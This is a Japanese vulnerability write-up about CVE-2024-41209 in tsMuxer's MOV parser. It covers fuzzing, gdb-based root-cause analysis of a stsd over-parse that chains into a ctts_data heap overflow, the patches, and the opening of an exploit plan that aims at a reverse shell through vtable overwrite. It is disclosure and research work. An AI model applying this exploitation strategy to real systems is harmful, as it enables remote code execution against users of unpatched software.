著者: iwashiira, ptr-yudai
はじめに
弊社ではfuzzufというファジングフレームワークを開発しています。ファジングとはプログラムの入力をランダムに生成して実行し、プログラムが異常な動作を引き起こす入力を探すソフトウェアテスト技術です。fuzzufの詳しい解説は以前のブログ記事をご覧ください。
私たちは、より強力なFuzzerを作成するために日々研究開発を行なっています。 fuzzufを用いることで、開発したFuzzerを手軽に実行できるだけでなく、容易にFuzzer同士を比較検証することができます。
私たちはfuzzufを拡張して、新たにrezzufというファジングアルゴリズムを実装しました。さらに、rezzufを利用してtsMuxerから0-day脆弱性を発見しました。本記事ではその脆弱性CVE-2024-41209の原理と解析手順、そして攻撃コードを解説します。
CVE-2024-41209
CVE-2024-41209はtsMuxerのMOVファイルのDemuxerに含まれていた脆弱性で、弊社メンバーのArata, ptr-yudai, iwashiiraが発見・報告しました。
tsMuxerはC++で書かれたオープンソースプロジェクトで、動画ファイルを扱うアプリケーションです。動画ファイルの中でも、映像・音声・字幕といったメディアの構成要素のことをエレメンタリーストリームと呼びます。これらエレメンタリーストリームをMP4, MKV, TSといった1つのコンテナファイルに統合する操作のことをmuxingと呼び、逆に分割する操作のことをdemuxingと呼びます。また、1つのコンテナファイルを別の形式のコンテナファイルに変換する操作をremuxingと呼びます。tsMuxerはこれらmuxing, demuxing, remuxingを扱うソフトウェアで、クライアントサイドのみならず、Universal Media Serverなどのサーバーサイドでも利用されています。
tsMuxerは複数のコンテナ形式をサポートしていますが、rezzufによるファジングの結果、MOVやMKV, VOBやTS向けのDemuxerに脆弱性や潜在的な問題があることがわかりました。特にMOV形式のDemuxerの脆弱性(CVE-2024-41209)ではエクスプロイト可能であり、また技術的にも興味深い点があることから、本ブログ記事にて紹介したいと思います。
MOVファイルの構造
今回見つけたバグの1つは、MOVファイルのパースに際して起きる脆弱性でした。脆弱性が発火する原理を理解して攻撃可能性を調べるために、まずはMOVファイルの構造を簡単に説明します。
MOVファイルといえば、代表的な動画ファイル形式の1つです。MOVファイルは複数のトラックと呼ばれる要素から構成され、各トラックはmovie, audioなどといった各種データを持っています。ファイルフォーマットとしては、atomという構成単位で階層化された構造になっています。
MOVファイルを hexdump -C
表示した結果を確認してみましょう。
$ hexdump -C test.mov
...
28 b1 00 00 00 80 73 74 63 6f 00 00 00 00 00 00 |(.....stco......|
00 1c 00 00 00 24 00 00 ca fe 00 00 cf 3c 00 00 |.....$.......<..|
d1 37 00 00 d6 78 00 00 d8 64 00 00 de cf 00 01 |.7...x...d......|
09 2b 00 01 35 32 00 01 61 3a 00 01 8b 95 00 01 |.+..52..a:......|
b7 9d 00 01 e1 f9 00 02 0e 00 00 02 38 5c 00 02 |............8\..|
64 64 00 02 8e bf 00 02 ba c7 00 02 e6 ce 00 03 |dd..............|
11 2a 00 03 3d 31 00 03 67 8e 00 03 93 94 00 03 |.*..=1..g.......|
bd f1 00 03 e9 f8 00 04 15 fe 00 04 40 5b 00 04 |............@[..|
6c 62 00 00 04 dc 74 72 61 6b 00 00 00 5c 74 6b |lb....trak...\tk|
68 64 00 00 00 03 00 00 00 00 00 00 00 00 00 00 |hd..............|
trak
や tkhd
などの小文字のアルファベット4文字の文字列が散在していますが、これがatomの種類を表す名前(MKTAG)にあたります。atomは階層構造のため、1つのatomがさらに子にあたるatomを持つ場合があります。
例えば、上の例ではtkhdアトムはtrakアトムを包含しています。オフセット0x49b92からの4バイトにある値0x4dcがtrakアトムのサイズになりますが、その範囲内にtkhdアトムが配置されていることがわかります。
mp4dumpなどのコマンドでatomの階層構造を確認することもできます。
tsMuxerのMOV demuxing
tsMuxerにおいて、demuxingの際のMOVファイルのパース処理はmovDemuxer.cppおよびmovDemuxer.hに記述されています。 MovDemuxer::mov_read_default()
と MovDemuxer::ParseTableEntry()
が核となる処理です。
MovDemuxer::mov_read_default()
では親のatomの情報を引数のMOVAtom構造体から受け取ります。その後、子のatomの情報をMOVAtom構造体のsizeとtypeに格納した上で、MovDemuxer::ParseTableEntry()
にこのMOVAtom構造体を渡しながら呼び出します。MovDemuxer::ParseTableEntry()
はMKTAGに応じて、trakアトムならばMovDemuxer::mov_read_trak()
を、といったように各種アトム用に作られた関数を呼び出します。各種アトム用に作られた関数ではそのアトムをパースし、もし内包されているアトムがあればMovDemuxer::mov_read_default()
を呼ぶ、といった形で核となる処理に制御を戻し、順次アトムの階層構造をdemuxしていきます。
MovDemuxer::mov_read_default()
MovDemuxer::ParseTableEntry()
脆弱性の根本原因を特定
rezzufによるファジングの結果、 MovDemuxer::mov_read_trun()
内でheap-buffer-overflowと分類されるクラッシュが見つかりました。このクラッシュを引き起こした入力を元に、根本原因を特定しましょう。
ファジングの際には特定の関数に絞って入力を渡すようなコードを使用しており、そのようなコードをハーネスと呼びます。
ファジングに使用した具体的なハーネス、およびクラッシュ入力となるMOVファイルはGithubのissueを確認ください。また、詳細なASAN Reportとmp4dumpの結果は、リポジトリをご覧ください。
まず、クラッシュが起きている箇所である MovDemuxer::mov_read_trun() の処理を確認しましょう。
int MovDemuxer::mov_read_trun(MOVAtom atom)
{
MOVFragment* frag = &fragment;
unsigned data_offset = 0;
if (frag->track_id <= 0 || frag->track_id > num_tracks)
return -1;
Track* st = tracks[frag->track_id - 1];
const auto sc = reinterpret_cast<MOVStreamContext*>(st);
if (sc->pseudo_stream_id + 1 != frag->stsd_id)
return 0;
get_byte(); // version
const unsigned flags = get_be24();
const unsigned entries = get_be32();
if (flags & 0x001)
data_offset = get_be32();
if (flags & 0x004)
get_be32(); // first_sample_flags
int64_t offset = frag->base_data_offset + data_offset;
sc->chunk_offsets.push_back(offset);
for (size_t i = 0; i < entries; i++)
{
unsigned sample_size = frag->size;
if (flags & 0x100)
get_be32(); // sample_duration
if (flags & 0x200)
sample_size = get_be32();
if (flags & 0x400)
get_be32(); // sample_flags
if (flags & 0x800)
{
sc->ctts_data.emplace_back();
sc->ctts_data[sc->ctts_count].count = 1;
sc->ctts_data[sc->ctts_count].duration = get_be32();
sc->ctts_count++;
}
// assert(sample_duration % sc->time_rate == 0);
offset += sample_size;
}
frag->moof_offset = offset;
return 0;
}
trunというアトムのflagsについて、0x800に相当するbitが立っている時に、ベクター sc->ctts_data
に sc->ctts_count
をindexとして、countに1を、durationにファイルから読み込んだ32bitをそれぞれ書き込んでいます。クラッシュログはこの箇所でheap-buffer-overflowが起きていることを示唆しているため、heapに確保されたベクターへの書き込み処理で範囲外参照(OOB; out-of-bounds)が起きていると考えられます。
ctts_dataのベクターは、グローバル変数として確保されている構造体中のtracksという配列を経由してアクセスされます。バグが起きる根本原因を調べるため、ctts_dataベクターへの操作全般と関連する変数の値を確認していきましょう。
解析の下準備
関連する変数の値を適宜確認するために、今回はgdbスクリプトを使用します。gdbスクリプトはデバッグ情報付きのバイナリをソースコードと共にデバッグする際に、非常に強力な解析能力を提供してくれます。tsMuxerが配布しているバイナリのビルド方法を確認し、ビルドスクリプトに手を加えて解析用のバイナリをビルドしましょう。
GitHubのworkflowを確認すると、 scripts/rebuild_linux_with_gui_docker.sh
を実行することで配布バイナリをビルドしています。cmakeのbuildオプションに -DCMAKE_BUILD_TYPE=Debug
を加えるなどした後、 justdan96/tsmuxer_build
という専用のdocker image内でスクリプトを実行することで配布バイナリとほぼ同一のデバッグ用のバイナリを生成できます。
diff --git a/scripts/rebuild_linux_with_gui_docker.sh b/scripts/rebuild_linux_with_gui_docker.sh
index 7823b58..44488f8 100755
--- a/scripts/rebuild_linux_with_gui_docker.sh
+++ b/scripts/rebuild_linux_with_gui_docker.sh
@@ -1,12 +1,11 @@
rm -rf build
mkdir build
cd build
-cmake -DTSMUXER_GUI=ON -DTSMUXER_STATIC_BUILD=ON -DFREETYPE_LDFLAGS=png ../
+cmake -DTSMUXER_GUI=ON -DTSMUXER_STATIC_BUILD=ON -DFREETYPE_LDFLAGS=png -DCMAKE_BUILD_TYPE=Debug ../
make
cp tsMuxer/tsmuxer ../bin/tsMuxeR
cp tsMuxerGUI/tsMuxerGUI ../bin/tsMuxerGUI
cd ..
-rm -rf build
mkdir ./bin/lnx
mv ./bin/tsMuxeR ./bin/lnx/tsMuxeR
$ docker pull justdan96/tsmuxer_build
$ docker run -it --rm -v $(pwd):/workdir -w="/workdir" justdan96/tsmuxer_build bash
# ./scripts/rebuild_linux_with_gui_docker.sh
後は、gdb script側でコンテナ内でのcmake時のproject rootのパスをホスト上のパスに変換してやれば、ソースコード付きでデバッグすることが可能となります。
import gdb
gdb.execute('set substitute-path /workdir .')
gdb.execute('b MovDemuxer::mov_read_trun')
gdb.execute('r')
アトムの“over-parse”の発見
解析作業に着手し始めてすぐに、 MovDemuxer::mov_read_trun()
が6回も実行されていることに気づきます。クラッシュ入力のMOVファイルにはtrunアトムのMKTAGは一つしか存在しないため、これは非常におかしなことです。例えば3回目にMovDemuxer::mov_read_trun()
でbreakした際のstack traceを確認してみましょう。解析の下準備にてソースコードと共にデバッグする環境を整えたおかげで、stack traceに積まれている関数がかつてcallされた時にはどのような引数を伴っていたのか容易に確認できます。
gef> bt
#0 MovDemuxer::mov_read_trun (this=0x939e30, atom={type = 0x6e757274, offset = 0x41db, size = 0x60}) at /workdir/tsMuxer/movDemuxer.cpp:1070
#1 0x00000000004ba65a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6e757274, offset = 0x41db, size = 0x60}) at /workdir/tsMuxer/movDemuxer.cpp:919
#2 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x66617274, offset = 0x41b3, size = 0x88}) at /workdir/tsMuxer/movDemuxer.cpp:974
#3 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x66617274, offset = 0x41b3, size = 0x88}) at /workdir/tsMuxer/movDemuxer.cpp:866
#4 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x419b, size = 0xa0}) at /workdir/tsMuxer/movDemuxer.cpp:974
#5 0x00000000004bbd97 in MovDemuxer::mov_read_moof (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x419b, size = 0xa0}) at /workdir/tsMuxer/movDemuxer.cpp:1291
#6 0x00000000004ba47e in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x419b, size = 0xa0}) at /workdir/tsMuxer/movDemuxer.cpp:891
#7 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x2ba8, size = 0x3b3b0f3d}) at /workdir/tsMuxer/movDemuxer.cpp:974
#8 0x00000000004bbd97 in MovDemuxer::mov_read_moof (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x2ba8, size = 0x3b3b0f3d}) at /workdir/tsMuxer/movDemuxer.cpp:1291
#9 0x00000000004ba47e in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x666f6f6d, offset = 0x2ba8, size = 0x3b3b0f3d}) at /workdir/tsMuxer/movDemuxer.cpp:891
#10 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x0, offset = 0x0, size = 0x3b3b3ae5}) at /workdir/tsMuxer/movDemuxer.cpp:974
#11 0x00000000004bc798 in MovDemuxer::mov_read_stsd (this=0x939e30, atom={type = 0x64737473, offset = 0x20b, size = 0x93}) at /workdir/tsMuxer/movDemuxer.cpp:1526
#12 0x00000000004ba528 in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x64737473, offset = 0x20b, size = 0x93}) at /workdir/tsMuxer/movDemuxer.cpp:901
#13 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x6c627473, offset = 0x203, size = 0xdf}) at /workdir/tsMuxer/movDemuxer.cpp:974
#14 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6c627473, offset = 0x203, size = 0xdf}) at /workdir/tsMuxer/movDemuxer.cpp:866
#15 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x666e696d, offset = 0x1c3, size = 0x11f}) at /workdir/tsMuxer/movDemuxer.cpp:974
#16 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x666e696d, offset = 0x1c3, size = 0x11f}) at /workdir/tsMuxer/movDemuxer.cpp:866
#17 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x6169646d, offset = 0x16e, size = 0x174}) at /workdir/tsMuxer/movDemuxer.cpp:974
#18 0x00000000004ba32a in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6169646d, offset = 0x16e, size = 0x174}) at /workdir/tsMuxer/movDemuxer.cpp:866
#19 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x6b617274, offset = 0x10a, size = 0x1d8}) at /workdir/tsMuxer/movDemuxer.cpp:974
#20 0x00000000004bb351 in MovDemuxer::mov_read_trak (this=0x939e30, atom={type = 0x6b617274, offset = 0x10a, size = 0x1d8}) at /workdir/tsMuxer/movDemuxer.cpp:1143
#21 0x00000000004ba5f4 in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x6b617274, offset = 0x10a, size = 0x1d8}) at /workdir/tsMuxer/movDemuxer.cpp:913
#22 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x766f6f6d, offset = 0x5e, size = 0x2e5}) at /workdir/tsMuxer/movDemuxer.cpp:974
#23 0x00000000004bbd17 in MovDemuxer::mov_read_moov (this=0x939e30, atom={type = 0x766f6f6d, offset = 0x5e, size = 0x2e5}) at /workdir/tsMuxer/movDemuxer.cpp:1280
#24 0x00000000004ba4a0 in MovDemuxer::ParseTableEntry (this=0x939e30, atom={type = 0x766f6f6d, offset = 0x5e, size = 0x2e5}) at /workdir/tsMuxer/movDemuxer.cpp:893
#25 0x00000000004ba852 in MovDemuxer::mov_read_default (this=0x939e30, atom={type = 0x0, offset = 0x0, size = 0x7fffffffffffffff}) at /workdir/tsMuxer/movDemuxer.cpp:974
#26 0x00000000004b8e43 in MovDemuxer::readHeaders (this=0x939e30) at /workdir/tsMuxer/movDemuxer.cpp:696
#27 0x00000000004b8923 in MovDemuxer::openFile (this=0x939e30, streamName=@0x7fffffffdc70: {static npos = 0xffffffffffffffff, _M_dataplus = {<std::allocator<char>> = {<__gnu_cxx::new_allocator<char>> = {<No data fields>}, <No data fields>}, _M_p = 0x7fffffffdc80 "../vuln15.mov"}, _M_string_length = 0xd, {_M_local_buf = "../vuln15.mov\\000\\000", _M_allocated_capacity = 0x316e6c75762f2e2e}}) at /workdir/tsMuxer/movDemuxer.cpp:657
#28 0x000000000048b87c in METADemuxer::DetectStreamReader (readManager=@0x908200: {m_fileReaders = {<std::_Vector_base<BufferedReader*, std::allocator<BufferedReader*> >> = {_M_impl = {<std::allocator<BufferedReader*>> = {<__gnu_cxx::new_allocator<BufferedReader*>> = {<No data fields>}, <No data fields>}, <std::_Vector_base<BufferedReader*, std::allocator<BufferedReader*> >::_Vector_impl_data> = {_M_start = 0x921ca0, _M_finish = 0x921cb0, _M_end_of_storage = 0x921cb0}, <No data fields>}}, <No data fields>}, m_readersCnt = 0x2, m_blockSize = 0x200000, m_allocSize = 0x208000, m_prereadThreshold = 0x100000}, fileName=@0x7fffffffdc70: {static npos = 0xffffffffffffffff, _M_dataplus = {<std::allocator<char>> = {<__gnu_cxx::new_allocator<char>> = {<No data fields>}, <No data fields>}, _M_p = 0x7fffffffdc80 "../vuln15.mov"}, _M_string_length = 0xd, {_M_local_buf = "../vuln15.mov\\000\\000", _M_allocated_capacity = 0x316e6c75762f2e2e}}, calcDuration=0x1) at /workdir/tsMuxer/metaDemuxer.cpp:608
#29 0x000000000046672c in detectStreamReader (fileName=0x7fffffffe823 "../vuln15.mov", mplsParser=0x0, isSubMode=0x0) at /workdir/tsMuxer/main.cpp:114
#30 0x000000000046964a in main (argc=0x2, argv=0x7fffffffe5c8) at /workdir/tsMuxer/main.cpp:689
各引数を確認していきましょう。MovDemuxer::mov_read_stsd()
後に MovDemuxer::mov_read_default()
を実行する際のsizeが、親アトムのstsdアトムのサイズと比べて非常に大きな値になってしまっています。 stsdアトムとして解釈されるべきMOVファイルのオフセットの範囲を越えて、現在のstsdアトムの開始オフセットからファイル末尾までに存在するMKTAG全てが、 stsdアトムの子アトムとしてparseされてしまっているのです。その結果、一つの trun
MKTAGに対して複数のMovDemuxer::mov_read_trun()
が呼ばれることになります。
このheap buffer “over-parse”とも呼べるようなバグの原因をソースコード上で確認しましょう。MovDemuxer::mov_read_stsd()
の中で、MovDemuxer::mov_read_default()
に渡される、MOVAtom構造体 a
の a.size
はsizeというローカル変数を用いて計算されており、このローカル変数sizeはユーザー入力であるMOVファイルから読み取っています。stsdアトムのサイズである atom.size
とsizeを比較する範囲チェックが存在しないことが“over-parse”の原因です。
int MovDemuxer::mov_read_stsd(MOVAtom atom)
{
if (num_tracks == 0)
return -1;
const auto st = reinterpret_cast<MOVStreamContext*>(tracks[num_tracks - 1]);
get_byte(); // version
get_be24(); // flags
const unsigned entries = get_be32();
for (unsigned pseudo_stream_id = 0; pseudo_stream_id < entries; pseudo_stream_id++)
{
// Parsing Sample description table
// enum CodecID id;
MOVAtom a;
const int64_t start_pos = m_processedBytes;
const unsigned size = get_be32(); // size <- ユーザー入力
const uint32_t format = get_le32(); // data format
...
// this will read extra atoms at the end (wave, alac, damr, avcC, SMI ...)
a.size = size - (m_processedBytes - start_pos); // <- a.sizeを計算
if (a.size > 8)
{
if (mov_read_default(a) < 0)
return -1;
}
else if (a.size > 0)
skip_bytes(a.size);
}
return 0;
}
この脆弱性には以下のようなパッチを当てました。
int MovDemuxer::mov_read_stsd(MOVAtom atom)
{
...
a.size = size - (m_processedBytes - start_pos);
+ if (a.size > atom.size) {
+ THROW(ERR_MOV_PARSE, "MP4/MOV error: Invalid a.size in mov_read_stsd")
+ }
if (a.size > 8)
{
if (mov_read_default(a) < 0)
return -1;
}
else if (a.size > 0)
skip_bytes(a.size);
}
return 0;
}
ctts_dataのベクターが壊れる原因
さて、MovDemuxer::mov_read_trun()
が複数回呼ばれているという不可解な現象の根本原因を特定し、heap buffer “over-parse”脆弱性に対するパッチを当てることはできましたが、ASAN Reportがheap buffer overflowと分類したctts_dataのベクターを壊している原因は未だ特定できていません。gdb scriptを駆使して、複数回のMovDemuxer::mov_read_trun()
の実行を跨いだctts_dataベクターに関連する変数の遷移を確認しましょう。
MovDemuxer::mov_read_trun()
内では ctts_data.emplace_back()
でctts_dataベクターの末尾に要素を確保した後にctts_countをindexとして書き込みを行っています。emplace_back()というメンバー関数は、ベクターのsizeをインクリメントした後にcapacityの値と比較し、sizeの方が大きい場合はベクターの領域が足りないということでヒープ領域にベクターを再確保します。そのため、具体的な変数としてはctts_countとctts_dataベクターのsizeとcapacityの遷移を確認します。生成されたバイナリでは、capacity()メンバー関数はインライン化されていてgdbからcallするのは難しいですが、 vectorの _M_impl._M_end_of_storage
から _M_impl._M_start
を引くことで計算できます。
import gdb
gdb.execute('set substitute-path /workdir .')
gdb.execute('b movDemuxer.cpp:1078')
gdb.execute('r')
for i in range(0, 6):
print("sc->ctts_data.size()")
gdb.execute('p/x sc->ctts_data.size()')
print("sc->ctts_data.capacity()")
gdb.execute('p/x sc->ctts_data._M_impl._M_end_of_storage - sc->ctts_data._M_impl._M_start')
print("sc->ctts_count")
gdb.execute('p/x sc->ctts_count')
if (i == 5):
break
gdb.execute('c')
Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078 if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$1 = 0x0
sc->ctts_data.capacity()
$2 = 0x0
sc->ctts_count
$3 = 0x0
Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078 if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$4 = 0xa
sc->ctts_data.capacity()
$5 = 0x10
sc->ctts_count
$6 = 0xa
Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078 if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$7 = 0x14
sc->ctts_data.capacity()
$8 = 0x20
sc->ctts_count
$9 = 0x14
Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078 if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$10 = 0x0
sc->ctts_data.capacity()
$11 = 0x20
sc->ctts_count
$12 = 0x1e
Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078 if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$13 = 0xa
sc->ctts_data.capacity()
$14 = 0x20
sc->ctts_count
$15 = 0x28
Thread 1 "tsMuxeR" hit Breakpoint 1, MovDemuxer::mov_read_trun (this=0x939e30, atom=...) at /workdir/tsMuxer/movDemuxer.cpp:1078
1078 if (sc->pseudo_stream_id + 1 != frag->stsd_id)
sc->ctts_data.size()
$16 = 0x14
sc->ctts_data.capacity()
$17 = 0x20
sc->ctts_count
$18 = 0x32
heap BOFの根本原因を特定
gdb scriptの実行結果を確認すると、3回目のbreakから4回目のbreakの間にctts_data.sizeが0に初期化されるタイミングがあるようです。一方で、capacityは初期化されていません。ctts_countは一貫して足され続けていて、capacityの値を超えたindexに書き込みが行われており、vector用のheap領域にてheap BOFが起きています。
MovDemuxer::mov_read_trun()
以外でctts_data.sizeに変更を加えるコードを探すと MovDemuxer::mov_read_ctts()
が見つかります。ここで、 st->ctts_data.resize(entries);
によってctts_dataのベクターをresizeしている一方で、ctts_countやctts_dataベクターのcapacityを初期化していないことに気づきます。
int MovDemuxer::mov_read_ctts(MOVAtom atom)
{
const auto st = reinterpret_cast<MOVStreamContext*>(tracks[num_tracks - 1]);
get_byte(); // version
get_be24(); // flags
const unsigned entries = get_be32();
st->ctts_data.resize(entries);
for (unsigned i = 0; i < entries; i++)
{
st->ctts_data[i].count = get_be32();
st->ctts_data[i].duration = get_be32();
// st->time_rate= av_gcd(st->time_rate, abs(st->ctts_data[i].duration));
}
return 0;
}
MovDemuxer::mov_read_trun()
内では、emplace_backによるsizeのインクリメントとctts_countのインクリメントは同時に行われるので範囲外参照を起こさないかのように見えます。
しかし、MovDemuxer::mov_read_trun()
→ MovDemuxer::mov_read_ctts()
→ MovDemuxer::mov_read_trun()
の順番に実行された際には、sizeだけはユーザー入力によってresizeされる一方で、ctts_countやcapacityは初期化されず、sizeがcapacityを下回っている場合はベクターの再確保もされないので、2回目以降のMovDemuxer::mov_read_trun()
にてcapacityを超えて範囲外書き込みが起きてしまうのです。MovDemuxer::mov_read_trun()
の後にMovDemuxer::mov_read_ctts()
を実行することを想定していなかったのだと思われます。
この脆弱性には、以下のようなパッチを行いました。
shrink_to_fit()
を使うことで、capacityをresizeしたベクターのsizeに合わせています。
int MovDemuxer::mov_read_ctts(MOVAtom atom)
{
const auto st = reinterpret_cast<MOVStreamContext*>(tracks[num_tracks - 1]);
get_byte(); // version
get_be24(); // flags
const unsigned entries = get_be32();
st->ctts_data.resize(entries);
+ st->ctts_data.shrink_to_fit();
+ st->ctts_count = 0;
for (unsigned i = 0; i < entries; i++)
{
st->ctts_data[i].count = get_be32();
st->ctts_data[i].duration = get_be32();
// st->time_rate= av_gcd(st->time_rate, abs(st->ctts_data[i].duration));
}
return 0;
}
さて、以上のようにクラッシュ入力を用いて解析を行い脆弱性の根本原因を特定しましたが、1つ目の脆弱性が全く別の脆弱性を発火させ、その結果クラッシュを引き起こしたという非常に面白いクラッシュ入力であったことが分かりました。クラッシュ入力のMOVファイルではcttsアトム → trunアトムの順に一つずつのみ存在しており、本来2つ目のheap BOFの条件を満たしてはいなかったはずですが、stsdアトムでの”over-parse”によってcttsアトムとtrunアトムに対して余分にparseを行なってしまうことで条件が整い、2つ目のheap BOFが発火していたのです。
一般に、条件の厳しい脆弱性や、クラッシュやOOBを引き起こさないロジックバグなどをFuzzingで見つけるのは難しいです。しかし今回のクラッシュ入力は、発火条件はそこまで厳しくないがクラッシュしない脆弱性と、発火条件は厳しいがクラッシュを引き起こす脆弱性がチェインした結果、Fuzzingによって見つかったという珍しい事例でした。
エクスプロイト開発
見つかった脆弱性にパッチを当てた後は、その脆弱性の攻撃可能性を評価しましょう。今回のheap BOFの書き込み部分を再度確認します。1と32bitの入力を交互に書き込むことが出来そうです。
sc->ctts_data.emplace_back();
sc->ctts_data[sc->ctts_count].count = 1;
sc->ctts_data[sc->ctts_count].duration = get_be32();
sc->ctts_count++;
私たちはこのheap BOFをcriticalでRCEに繋げられる脆弱性であると推定し、exploitableであることを証明するエクスプロイトコードを作成することにしました。
エクスプロイトにおける課題
まず、CTFでbinary exploitationの問題を解く際と同じように、tsMuxerが配布しているバイナリのセキュリティ機構を確認します。tsMuxerはバイナリをportableにする目的でstatic-linkedでかつno-pieなバイナリをデフォルトで配布しており、攻撃者視点ではアドレスリークのprimitiveがほとんど必要ないことが嬉しいポイントです。
$ file ./tsMuxeR
./tsMuxeR: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=56c7bf03a7cbd46c1f7fc3ce82bf651f023e9f7c, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec ./tsMuxeR
[*] '/home/vagrant/tsMuxer/bin/lnx/tsMuxeR'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
このバイナリに対するAttack Vectorを考えます。victimがこのバイナリを用いて悪意のあるMOVファイルを開いてしまう、というのが最も考えられるシチュエーションでしょう。ブログ冒頭で言及した通りtsMuxerはサーバーサイドでも使用されてはいますが、Attack Vectorを考慮すると攻撃者とvictimの間にインタラクティブなコネクションがはられていない状況を想定するのが自然であり、その場合は system("/bin/sh")
を呼ぶだけでは不十分です。それゆえ、リバースシェルを起動することを攻撃のゴールとしましょう。
脆弱性を発火させる最小のPoCの作成
releaseバイナリにおいて脆弱性を発火させる最小のPoCを作成しましょう。得られているクラッシュ入力はfuzzingする中で変異させていたものですので、脆弱性の発火の原因となる部分以外にも余計なデータが多分に含まれています。余分なデータのparseの際に呼ばれる各種関数は各種構造体をheapに確保し、heap領域の状態をより複雑にしてしまうので、エクスプロイトする上で邪魔になります。最小限のPoCを作成することでheap領域に作られるChunkの状態を整え、この先のエクスプロイトの際の見通しを良くします。
脆弱性を発火させる最小のPoCを以下に示します。
https://github.com/RICSecLab/exploit-poc-public/blob/main/CVE-2024-41209/exploit_min_poc.py
作られたexploit.movを配布バイナリtsMuxeRに渡して実行すると、脆弱性が発火することがわかります。
Overflow先の構造体の選定
現在持っているprimitiveは、MovDemuxer::mov_read_trun()
→ MovDemuxer::mov_read_ctts()
→ MovDemuxer::mov_read_trun()
の順番で実行した時に、ctts_dataベクターの領域を越えてheap BOFできるというものです。heap BOFは自由な書き込みではなく、big endianのint 1
と、任意の4byteのデータを足した合計8byteの入力を好きな回数入力できるというprimitiveです。
このprimitiveを使って、より強力なprimitiveを得ることを次の目標とします。方針としては以下の通りです。
MovDemuxer::mov_read_ctts()
と2回目のMovDemuxer::mov_read_trun()
のcallの間に何かheapに構造体Aを取る関数を実行する- ctts_dataベクターの下に隣接するheap領域に構造体Aが取られている状態で、heap BOFで構造体Aの中のポインタを書き換える
- 書き換えたポインタを使うことでより強力なprimitiveを得る
MovDemuxer::mov_read_ctts()
とMovDemuxer::mov_read_trun()
の間にMovDemuxer::mov_read_xxxx()
のような関数群を呼ぶということは、cttsアトムとtrunアトムの間にxxxxアトムを埋め込むことで簡単に実現できます。そこで、これらMovDemuxer::mov_read_xxxx()
が実行時にheapに確保する構造体のうち、書き換えるのに都合のよい構造体を選定します。
構造体のallocationが行われる関数は以下の2つです。
MovDemuxer::mov_read_stsd()
- MovParsedXXXTrackData構造体 (XXXはH264, H265, Audio, SRT)
MovDemuxer::mov_read_trak()
その他、構造体ではないがheapに配列などを確保する関数として、以下の3つがあります
MovDemuxer::mov_read_extradata()
MovDemuxer::mov_read_glbl()
MovDemuxer::mov_read_esds()
MovParsedXXXTrackData構造体を確認すると、ParsedTrackPrivData構造体を継承しています。
ParsedTrackPrivDataはvirtualメソッドをいくつか持っていて、 MovParsedXXXTrackData構造体ではそれらをオーバーライドしています。
class ParsedTrackPrivData
{
public:
ParsedTrackPrivData(uint8_t* buff, int size) {}
ParsedTrackPrivData() = default;
virtual ~ParsedTrackPrivData() = default;
virtual void setPrivData(uint8_t* buff, int size) {}
virtual void extractData(AVPacket* pkt, uint8_t* buff, int size) = 0;
virtual unsigned newBufferSize(uint8_t* buff, unsigned size) { return 0; }
};
そのため、 MovParsedXXXTrackData構造体をheapに確保すると、その中にはMovParsedXXXTrackData用のvtableが確保されています。vtableのポインタを書き換えてfakeのvtableのアドレスを指すように変更することで、RIPを取ることが出来るかもしれません。
gef> x/20gx 0x93a690
0x93a690: 0x0000000000000000 0x0000000000000051
0x93a6a0: 0x0000000000000001 0x00000000deadbeef <- trun1
0x93a6b0: 0x0000000000000001 0x00000000cafebabe
0x93a6c0: 0x0000000000000001 0x00000000fee1dead
0x93a6d0: 0x0000000000000000 0x0000000000000000
0x93a6e0: 0x0000000000000000 0x0000000000000041
